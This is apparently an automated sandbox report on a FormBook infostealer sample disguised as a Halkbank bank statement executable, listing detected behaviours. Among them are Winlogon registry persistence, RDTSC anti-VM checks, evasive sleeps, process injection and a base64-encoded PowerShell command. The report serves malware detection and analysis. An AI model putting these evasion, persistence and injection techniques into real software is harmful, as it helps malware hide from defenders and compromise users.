Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe RDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe TID: 3524 Thread sleep count: 34 > 30 Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe TID: 3524 Thread sleep time: -34000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe TID: 5616 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe TID: 1852 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5068 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_004088D0 rdtsc 17_2_004088D0
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 642 Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior

Anti Debugging
barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Code function: 17_2_004088D0 rdtsc 17_2_004088D0
Enables debug privileges
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: Base64 decoded [Threading.Thread]::Sleep(20000)
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: Base64 decoded [Threading.Thread]::Sleep(20000) Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Memory written: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc WwBUAGgAcgBlAGEAZABpAG4AZwAuAFQAaAByAGUAYQBkAF0AOgA6AFMAbABlAGUAcAAoADIAMAAwADAAMAApAA== Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Jump to behavior
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936355832.0000000001DA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936355832.0000000001DA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936355832.0000000001DA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: Halkbank_Ekstre_20220128_081138_756957 (1).exe, 00000011.00000002.936355832.0000000001DA0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection
barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Queries volume information: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20220128_081138_756957 (1).exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Halkbank_Ekstre_20220128_081138_756957 (1).exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000000.929078210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.933873934.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935638982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934742685.0000000003E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.932614500.0000000003A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.935785039.00000000010D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.929441630.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.934643233.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
